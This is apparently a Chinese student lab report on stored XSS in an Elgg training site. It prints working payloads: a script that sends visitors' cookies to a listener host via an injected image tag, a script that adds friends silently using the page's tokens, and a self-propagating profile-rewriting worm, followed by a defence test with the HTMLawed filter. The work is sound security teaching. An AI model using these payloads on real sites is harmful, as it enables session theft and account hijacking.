登录成功后,我进入站点首页,可以在右侧看到当前登录用户 Alice。此时页面还没有产生新的活动记录,说明实验环境处于较干净的状态,便于后续观察脚本触发后的现象。

图 2-3-2 登录后站点活动页面显示当前用户为 Alice。
接着,我进入 Alice 的个人主页,并找到左侧的 Edit profile 按钮。这里是修改用户个人资料的位置,也是本次实验中尝试插入脚本内容的入口。

图 2-3-3 Alice 个人主页中显示 Edit profile 编辑入口。
进入资料编辑页面后,我观察到 About me 区域右侧有 Edit HTML 选项。由于普通富文本编辑器可能会对输入内容进行处理,因此我切换到 HTML 编辑模式,准备直接插入脚本代码。

图 2-3-4 资料编辑页面中 About me 区域提供 Edit HTML 选项。
我在 HTML 编辑区域中写入如下脚本内容:
<script>alert("20253902wuchenyu qwq");</script>
这段代码的作用是在浏览器解析并执行该位置的脚本时弹出提示框。由于原始截图中没有展示脚本写入后的编辑框内容,我这里只记录实际使用的 payload,并结合后续页面弹窗现象进行分析。
我在这里重点关注的是:脚本内容是否会被页面保存,以及保存后访问相关页面时浏览器是否会执行该脚本。
保存资料后,我重新访问 Alice 的个人主页。此时页面弹出了包含 20253902wuchenyu qwq 的提示框,说明该脚本在个人主页加载过程中被浏览器执行。

图 2-3-5 访问 Alice 个人主页时浏览器弹出脚本提示框。
随后,我返回站点活动页面继续观察。页面同样出现了相同内容的弹窗,这说明该脚本不仅会在个人主页中触发,也可能随着用户信息区域或相关内容在其他页面加载时被执行。

图 2-3-6 返回站点活动页面时浏览器再次弹出脚本提示框。
本次实验的重点不是弹窗本身,而是通过“输入脚本—保存资料—访问页面—观察触发位置”的过程,理解存储型 XSS 的基本验证思路。
2.3.2 cookie
XSS 中比较经典的一种验证方式,就是尝试获取浏览器当前页面下可以访问到的 Cookie,也就是实验里常说的“可爱小饼干”。在上一小节中,我已经验证了个人资料页面中的脚本可以被浏览器执行,因此这一小节继续尝试读取 Cookie,并观察不同用户访问页面时的触发现象。
我首先在 Alice 的个人资料 HTML 编辑区域中插入如下脚本:
<script>alert(document.cookie);</script>
这段脚本的作用是在页面加载时弹出当前页面可访问的 Cookie 内容。这里我先用 alert() 做验证,是因为弹窗结果比较直观,可以快速判断脚本是否成功执行。

图 2-3-7 在个人资料 HTML 编辑区域中写入读取 Cookie 的脚本。
保存资料后,我访问 Alice 的个人主页,浏览器弹出了 Cookie 信息。这个现象说明脚本已经被页面保存,并且在访问个人主页时能够被执行。

图 2-3-8 访问 Alice 个人主页时弹窗显示当前页面的 Cookie 信息。
接着,我又回到站点活动页面进行观察,页面中同样弹出了 Cookie 信息。由此可以初步判断,插入到个人资料中的脚本不只会在个人主页触发,也可能随着用户信息或相关内容在其他页面加载时被执行。

图 2-3-9 站点活动页面加载时弹窗显示 Cookie 信息。
在确认 document.cookie 可以被读取之后,我进一步将弹窗验证改为请求发送验证。这里我构造了一个动态写入图片标签的脚本,让浏览器在加载页面时自动向本机监听端发送请求,并把 Cookie 拼接到 URL 参数中。
<script>
document.write('<img src=http://192.168.137.75:3902?c=' + escape(document.cookie) + '>');
</script>
这段脚本会在页面中写入一个 img 标签。浏览器解析到这个标签后,会尝试访问 src 指向的地址。由于我把 document.cookie 拼接到了 ?c= 参数后面,所以监听端如果收到请求,就可以看到请求中携带的 Cookie 内容。
我在这里重点观察的不是页面是否显示图片,而是浏览器是否会根据
img src自动发起请求,以及监听端能否收到带有 Cookie 参数的 HTTP 请求。
随后,我在本机开启监听,监听端口与脚本中设置的端口保持一致,都是 3902。
nc -lvp 3902

图 2-3-10 在本机使用 nc 对 3902 端口进行监听。
完成监听后,我切换登录 Boby 账号。这样做的目的是模拟其他用户访问 Alice 页面或相关内容时触发脚本的情况,而不是只观察 Alice 自己访问页面时的效果。

图 2-3-11 登录 Boby 账号后访问会加载脚本内容的页面。
当 Boby 访问相关页面后,浏览器执行了 Alice 资料中保存的脚本,并向我的监听地址发起了 HTTP 请求。回到监听端可以看到,请求路径中出现了 ?c= 参数,后面跟着 Cookie 字符串。

图 2-3-12 nc 监听端收到浏览器发来的携带 Cookie 参数的 HTTP 请求。
通过这一小节实验,我先使用 alert(document.cookie) 验证了脚本读取 Cookie 的能力,然后进一步使用动态图片请求的方式,将 Cookie 拼接到请求 URL 中。最后,我切换到 Boby 账号访问相关页面,并在本机监听端观察到了携带 Cookie 参数的 HTTP 请求。
这说明存储型 XSS 的影响并不局限于插入脚本的用户本人。如果其他用户访问了包含恶意脚本的页面,浏览器也可能自动执行该脚本,并按照脚本逻辑把当前用户页面环境中的信息发送出去。
2.3.3 无感知地加好友
在前面的实验中,我已经验证了脚本可以在用户访问页面时自动执行。接下来,我继续尝试利用 XSS 触发一个站内操作:在用户无明显感知的情况下自动发起“加好友”请求。
这一小节的核心思路是:先观察 Elgg 正常加好友时浏览器发出的请求,确认请求地址和必要参数;然后把相同逻辑写入脚本中,让访问页面的用户在加载页面时自动发送这个请求。
我首先在页面中手动执行一次加好友操作,并使用抓包工具观察浏览器发出的请求。从请求中可以看到,加好友操作对应的是一个 GET 请求,请求路径中包含 friend=44,同时还带有 __elgg_ts 和 __elgg_token 这两个安全校验参数。

图 2-3-13 抓包工具中显示正常加好友操作产生的请求。
为了进一步确认加好友请求的具体格式,我继续查看请求的完整 URL 和参数结构。这里可以看到,请求目标为 /action/friends/add,并且通过 friend=44 指定要添加的用户。

图 2-3-14 加好友请求中包含 friend、__elgg_ts 和 __elgg_token 参数。
在构造自动加好友脚本之前,我先取消已经添加的好友关系。这样做是为了保证后续实验现象更清楚:如果脚本执行成功,页面中应该会重新出现已经添加好友的状态。

图 2-3-15 在实验前先取消已有好友关系。
根据前面抓包得到的请求格式,我编写了如下脚本。脚本会在页面加载完成后自动读取当前页面中的 elgg.security.token.__elgg_ts 和 elgg.security.token.__elgg_token,并将它们拼接到加好友请求中。
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
我在这里并不是直接复制固定的 token,而是让脚本从当前页面中读取 token。这样在不同用户访问页面时,脚本会使用该用户当前会话中的参数发起请求。
随后,我将这段脚本写入个人资料的 HTML 编辑区域并保存。这样,当其他用户访问包含该资料内容的页面时,浏览器就会执行这段脚本并自动发送加好友请求。

图 2-3-16 在个人资料 HTML 编辑区域中写入自动加好友脚本。
保存后,我重新访问相关页面进行验证。页面加载完成后,脚本会在后台发起请求。此时我再查看好友状态,可以观察到目标用户已经被添加为好友。

图 2-3-17 脚本触发后页面显示目标用户已被添加为好友。
为了让这一节的流程更清楚,我将实验步骤整理如下:
| 实验阶段 | 我的操作 | 观察现象 | 分析过程 |
|---|---|---|---|
| 观察正常请求 | 手动点击加好友并抓包 | 抓到 /action/friends/add 请求 |
可以确定加好友操作对应的请求路径 |
| 分析请求参数 | 查看请求 URL | 请求中包含 friend=44、__elgg_ts 和 __elgg_token |
加好友请求需要携带目标用户 ID 和 Elgg 安全参数 |
| 恢复实验状态 | 取消已有好友关系 | 页面回到未添加好友状态 | 方便后续判断脚本是否真正触发加好友 |
| 构造脚本 | 使用 XMLHttpRequest 发送加好友请求 |
脚本会在页面加载后自动执行 | 浏览器可以在后台向站点发起请求 |
| 写入页面 | 将脚本保存到个人资料中 | 资料页面保存了脚本内容 | 后续访问相关页面时可能触发该脚本 |
| 验证效果 | 访问包含脚本的页面并查看好友状态 | 目标用户被重新添加为好友 | 可以初步判断自动加好友请求执行成功 |
通过这一小节实验,我先通过抓包分析了正常加好友请求的格式,然后在脚本中复现这个请求。由于脚本会从当前页面读取 __elgg_ts 和 __elgg_token,因此访问页面的用户浏览器会使用自己的会话参数发起请求。最终页面显示目标用户被添加为好友,说明脚本在后台完成了加好友操作。
这个实验让我更直观地理解到,XSS 的影响不只是弹窗或读取 Cookie。只要页面中存在可执行脚本,攻击者还可能让用户浏览器在不明显提示的情况下执行站内操作,例如修改资料、发送请求或添加好友。
2.6
这一部分我主要分析的是通过修改用户资料页面触发的 XSS 行为。实验中,我先从浏览器开发者工具里观察资料编辑请求,再结合页面回显现象判断脚本是否生效。
我关注到资料编辑功能会向下面的地址发送请求:
请求地址:http://www.xsslabelgg.com/action/profile/edit
请求方法:POST
关键参数:name、description、accesslevel[description]、guid、__elgg_ts、__elgg_token
其中,description 字段对应用户资料页中的 About me 内容,__elgg_ts 和 __elgg_token 则是 Elgg 在提交表单时携带的时间戳和安全令牌。后续如果要构造自动提交请求,就需要考虑这些参数是否能够从当前页面中动态获取。

图 2-6-1 浏览器开发者工具中捕获到资料编辑页面提交后的 POST 请求。
接着,我进入 Alice 用户的资料编辑页面,把测试脚本写入 About me 区域。这里我没有只关注页面展示效果,而是重点观察脚本所在字段与资料编辑请求之间的对应关系:About me 中的内容会作为 description 参数提交到后端。

图 2-6-2 在 Alice 的资料编辑页面中将脚本内容填写到 About me 区域。
为了验证脚本触发后的影响,我切换到 Boby 用户视角进行观察。此时页面的最新动态区域显示 Boby 与 Alice 建立了好友关系,这说明页面访问过程中已经出现了用户关系变化。

图 2-6-3 Boby 登录页面的最新动态区域显示与 Alice 建立好友关系的记录。
登录 Boby 后,我先查看 Boby 当前的个人主页。此时右侧好友栏中已经出现 Alice 的头像,但 About me 区域还没有明显的异常文本展示。这个页面用于作为后续对比的观察点。

图 2-6-4 Boby 个人主页右侧好友栏中显示 Alice 的头像。
随后我查看 Alice 的个人主页。从页面上可以看到 Boby 视角下 Alice 仍然显示为好友状态,并且资料区域中有一个图片加载异常的图标。这里我推测,该位置与前面写入 About me 的脚本内容有关,但此处页面本身只展示了加载异常现象,不能单独把它作为最终结论。

图 2-6-5 Boby 视角下访问 Alice 个人主页时资料区域出现图片加载异常图标。
之后我再次回到 Boby 的个人主页,观察到 About me 区域已经出现了被修改后的文本内容。这一步比单纯看到好友关系变化更进一步,因为它说明 Boby 自己资料中的描述字段也发生了变化。

图 2-6-6 Boby 个人主页的 About me 区域显示被写入的文本内容。
为了进一步确认资料字段确实被写入,我打开 Boby 的资料编辑页面。在编辑页面中,About me 输入框里同样出现了相同文本,这说明变化并不只是页面临时显示,而是已经写入到了 Boby 的资料字段中。

图 2-6-7 Boby 资料编辑页面的 About me 字段中显示被写入的文本内容。
2.7 蠕虫
这一部分我继续在 Elgg 实验环境中测试蠕虫脚本的传播效果。和前面单次修改资料不同,这里我希望脚本在页面被访问时自动执行,并利用当前登录用户的身份向资料编辑接口提交请求,从而修改访问者自己的 About me 字段。
我使用的脚本如下:
<script id="worm" type="text/javascript">
window.onload = ()=>{
var header = "<script id='worm' type='text/javascript'>";
var code = document.getElementById("worm").innerHTML;
var footer = "</" + "script>";
var encoded = encodeURIComponent(header + code + footer);
var user = elgg.session.user;
var params = "&__elgg_token=" + elgg.security.token.__elgg_token +
"&__elgg_ts=" + elgg.security.token.__elgg_ts +
"&name=" + user.name +
"&description=<p>20253902 wuchenyu qwq worm test</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2&guid=" + user.guid;
var url = "http://www.xsslabelgg.com/action/profile/edit";
alert(params);
if (user.guid != 44) {
var xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.setRequestHeader("Host", "www.xsslabelgg.com");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send(params);
}
};
</script>
从脚本结构来看,我主要做了几件事:
| 代码片段 | 作用 | 我的分析 |
|---|---|---|
window.onload = ()=>{...} |
等页面加载完成后执行脚本 | 这样可以保证页面中的 elgg 对象和脚本节点已经加载出来 |
document.getElementById("worm").innerHTML |
获取当前脚本内容 | 这里为后续保存脚本本体做准备 |
encodeURIComponent(...) |
对脚本内容进行 URL 编码 | 可以避免特殊字符直接破坏请求参数结构 |
elgg.security.token.__elgg_token |
获取当前页面中的安全令牌 | 资料编辑请求需要携带该参数 |
elgg.security.token.__elgg_ts |
获取当前页面中的时间戳 | 这是 Elgg 请求校验中的另一个必要参数 |
elgg.session.user |
获取当前登录用户信息 | 我需要用当前访问者的 name 和 guid 构造资料修改请求 |
XMLHttpRequest() |
向资料编辑接口发送 POST 请求 | 页面访问者在不手动提交表单的情况下,资料字段会被自动修改 |
首先,我将脚本写入 Alice 用户的 About me 区域。这里的重点是让脚本作为 Alice 资料的一部分保存下来,后续其他用户访问 Alice 页面时,页面中的脚本就可能在访问者浏览器中执行。

图 2-7-1 在 Alice 的资料编辑页面中将蠕虫脚本写入 About me 区域。
随后我使用其他用户访问 Alice 的主页。页面弹出了 alert(params),并显示了即将发送的请求参数。从弹窗内容可以看到,参数中包含 __elgg_token、__elgg_ts、name、description 和 guid 等字段,这说明脚本已经读取到了当前登录用户的会话信息,并组装出了资料修改请求。

图 2-7-2 访问 Alice 个人主页时,页面弹窗显示脚本组装出的资料修改请求参数。
在实验过程中,我还观察了站点动态页面。页面中出现了 Boby 与 Alice 相关的多条动态记录。这个页面可以帮助我确认实验过程中用户之间确实发生了访问和交互行为,但我没有仅凭该动态页面判断蠕虫是否完成资料修改,后续还需要继续查看用户主页中的 About me 字段。

图 2-7-3 站点动态页面中显示 Boby 与 Alice 相关的多条记录。
接着我查看 Boby 的个人主页。此时 Boby 的 About me 区域已经显示为 20253902 wuchenyu qwq worm test。这说明 Boby 访问相关页面后,他自己的资料描述字段被自动改写了。

图 2-7-4 Boby 个人主页的 About me 区域显示被写入的测试文本。
为了进一步观察脚本对其他用户的影响,我又登陆了Samy的账号访问了Boby的注意。这里可以看到Samy 的 About me 区域同样出现了相同的测试文本。这说明在当前实验现象中,不止一个访问用户的资料字段发生了变化。

图 2-7-5 Samy 个人主页的 About me 区域显示被写入的测试文本。
通过这组实验现象,我判断脚本能够在访问者打开相关页面时自动执行,并利用访问者当前登录状态向
profile/edit接口提交资料修改请求。Boby 和 Samy 的About me字段都出现了相同的测试文本,说明该脚本已经对多个用户的资料内容产生影响。
2.8 xss防御
这一部分我开始测试 Elgg 中针对 XSS 的防御方式。前面的实验能够成功触发脚本,主要原因是用户资料中的输入内容没有被有效过滤,导致浏览器把其中的脚本当作可执行代码处理。因此,在防御测试中,我重点查看后台是否提供了与 HTML 内容过滤相关的安全插件。
我首先访问后台管理页面:
http://www.xsslabelgg.com/admin
登录管理员账号后,我进入站点后台。后台首页中可以看到当前站点的在线用户、内容统计以及右侧的管理菜单。这里我主要关注右侧 Configure 区域中的插件配置入口,因为 XSS 防御通常会和输入过滤、HTML 标签处理有关。

图 2-8-1 访问 /admin 后进入 Elgg 后台管理首页。
接着,我在右侧菜单中进入 Plugins 页面,查看当前站点安装的插件列表。在插件列表中,我找到了 HTMLawed 插件。页面说明中提到该插件用于进行安全过滤,并且提示关闭该插件会使站点处于不安全状态。
从页面按钮状态可以看到,此时 HTMLawed 插件旁边显示的是 Activate,说明它当前还没有启用。我判断这也是前面 XSS 脚本能够直接生效的重要原因之一。

图 2-8-2 在 Plugins 页面中找到 HTMLawed 插件,其按钮显示为 Activate。
我启用 HTMLawed 插件后,再次查看 Alice 的个人资料页面。此时,原本应该被浏览器当作脚本执行的内容没有继续触发弹窗或自动请求,而是以普通文本的形式显示在 About me 区域中。
这说明启用过滤插件后,页面对用户输入内容的处理方式发生了变化。脚本中的 JavaScript 代码没有被浏览器直接执行,而是被当作普通资料内容展示出来。

图 2-8-3 启用 HTMLawed 后,Alice 资料页中的脚本内容以文本形式显示。
通过这次测试,我观察到启用
HTMLawed插件后,资料页中的脚本内容不再被当作 JavaScript 执行,而是以文本形式展示。由此可以初步判断,针对用户可控输入进行 HTML 过滤,是防御存储型 XSS 的有效方式之一。
结合前面的实验,我认为 XSS 防御不能只依赖用户“不要输入脚本”,而应该在服务端对用户提交的内容进行过滤或转义。对于类似 About me 这种允许用户自定义内容的功能,更需要严格限制可用标签和属性,避免 <script>、事件属性、恶意链接等内容被浏览器执行。
三、遇到的问题

权限问题
文件修改错误
四、心得体会
本次实验涉及的 SQL 注入、XSS、CSRF 和默认用户安全隐患都属于 Web 应用中长期存在的典型风险,重点放在了sql和xss。在挖src和cve的时候,这两个漏洞也是最经常被检测的,一般的sql注入都能拿到中危以上,xss除了存储基本都是低危(但是存储一般会影响业务,可能会惹上麻烦)。这次漏洞学习的正反馈非常直观,每一步都能获取到新信息,而且原理通俗易懂,非常适合入门的同学体会:什么是渗透?什么是安全风险?
这次实验是本科入门ctf的第一课(无论什么方向),这些漏洞的本质原理非常简单,都是错误地将用户输入作为代码进行执行,导致数据泄露、业务受损、甚至内容篡改等严重行为。sql注入的种类非常多,像盲注、堆叠、时间等等,这次我们重点学习了sql注入的思想,并且获取了相关用户数据。xss这次重点学习了 存储、cookie外带和蠕虫,这也是xss漏洞最核心的几种利用方式。
通过这次实验,我学习到安全学习不能只看最终结果、只照着别人的wp复现,还要重视分析过程。比如在判断 XSS 是否成功时,不能只看到页面变化就下结论,而要结合请求地址、请求参数、用户身份、页面回显和数据是否真正写入等现象进行综合判断。只有把实验现象和背后的原理联系起来,才能真正理解漏洞产生的原因。此外,我认识到,有效的安全防护并非简单粗暴地禁止用户输入特定字符,其关键在于根据数据所处的不同上下文位置,采取与之匹配的恰当处理方式。
五、参考文献
5.1 曾经的学习笔记
https://www.yuque.com/wuuu/sbqh24/zygp43rwvgiqmnvk?singleDoc# 《一文读懂SQL注入》
https://www.yuque.com/wuuu/sbqh24/ae227qli3zcddv47?singleDoc# 《XSS》
5.2 其它资料
owasp 2025
https://owasp.org/Top10/2025/A10_2025-Mishandling_of_Exceptional_Conditions/

浙公网安备 33010602011771号